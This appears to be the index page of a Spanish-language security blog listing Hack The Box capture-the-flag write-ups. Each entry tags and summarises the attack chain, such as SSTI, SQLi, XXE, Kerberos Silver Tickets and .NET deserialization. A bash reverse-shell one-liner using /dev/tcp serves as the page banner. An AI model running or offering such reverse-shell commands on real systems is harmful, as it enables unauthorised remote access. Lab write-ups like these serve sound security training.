sckull - blog
bash -i >& /dev/tcp/localhost/1337 0>&1
Hack The Box - RedPanda
· 鉁嶏笍 sckull
java ssti xml xxe exiftool SAXBuilder python
En RedPanda descubrimos una vulnerabilidad SSTI en Java, en el sitio web, lo que nos permiti贸 ejecutar comandos en la m谩quina. Las credenciales de la conexi贸n de la base de datos nos permitieron acceder por SSH. Finalmente explotamos una vulnerabilidad de tipo XXE para realizar lectura de archivos y escalar privilegios.
Hack The Box - RedPanda
Hack The Box - Shared
· 鉁嶏笍 sckull
sqli sqlmap burpsuite ipython ghidra wireshark redis CVE-2022-0543
En Shared descubrimos una vulnerabilidad SQLi en la cookie del sitio web la cual nos permiti贸 acceder a la Base de Datos y a credenciales que posteriormente nos dieron acceso por SSH. Accedimos a un segundo usuario tras la ejecuci贸n de un cronjob y un archivo de configuraci贸n de iPython. Tras analizar un ejecutable obtuvimos credenciales para Redis, que, finalmente explotamos ganando acceso como usuario privilegiado.
Hack The Box - Shared
Hack The Box - Trick
· 鉁嶏笍 sckull
dig ffuf lfi sqlmap fail2ban suid
Multiples vulnerabilidades en el sitio web nos permitieron acceder a archivos locales de la m谩quina, que, nos dieron acceso por SSH. Finalmente escalamos privilegios mediante la creaci贸n de un action de fail2ban.
Hack The Box - Trick
Hack The Box - OpenSource
· 鉁嶏笍 sckull
python flask docker rce gitea git git-hooks
OpenSource expone el codigo fuente de una aplicaci贸n, tras analizar el codigo, descubrimos que es posible escribir y acceder a archivos localmente, con ello sobreescribimos el codigo de la aplicaci贸n para ejecutar comandos, para luego acceder a un contenedor. Dentro, descubrimos Gitea corriendo en un puerto no expuesto, obtuvimos el puerto localmente para luego descubrir una clave privada SSH que nos di贸 acceso a la m谩quina. Finalmete escalamos privilegios tras la ejecuci贸n de un cronjob como root con Git.
Hack The Box - OpenSource
Hack The Box - Scrambled
· 鉁嶏笍 sckull
kerbrute kerberos impacket WADComs GetUserSPNs Silver Ticket mssqlclient nishang invoke-command new-PSSession powershell .net ILSpy ysoserial.net
Scrambled presenta informaci贸n en su sitio web que nos permiti贸 identificar unas credenciales las cuales nos ayudaron a generar un 'Silver Ticket' para posteriormente acceder por MSSQL. Con las credenciales dentro de una base de datos y PowerShell accedimos a un segundo usuario. Finalmente escalamos privilegios tras descubrir y analizar una aplicaci贸n de escritorio en la que explotamos una vulnerabilidad de 'Deserialization' en .NET con la ayuda de Ysoserial.NET.
Hack The Box - Scrambled
Hack The Box - Noter
· 鉁嶏笍 sckull
xss flask_unsign flask python ftp javascript command injection mySQL user-defined functions
Noter presenta un sitio web por donde obtuvimos acceso tras crackear y modificar la cookie de flask, con la informaci贸n que encontramos en el sitio logramos ingresar por FTP donde descubrimos un backup, lo que nos permiti贸 descubrir una vulnerabilidad Command Injection con la cual accedimos a la m谩quina. Finalmente logramos leer la flag root utilizando MySQL y acceso como root con User-Defined Functions.
Hack The Box - Noter
Hack The Box - Timelapse
· 鉁嶏笍 sckull
kerbrute crackmapexec john winrm ruby winpeas LAPS openssl
En Timelapse descubrimos un backup de WinRM, este contenia un certificado de autenticaci贸n de WinRM, mismo que nos permiti贸 obtener acceso a un primer usuario. El historial de PowerShell nos permiti贸 acceder a la contrase帽a de un segundo usuario. Finalmente observamos que el usuario pertenecia a un grupo relacionado a LAPS, lo cual nos permiti贸 obtener la contrase帽a de administrador.
Hack The Box - Timelapse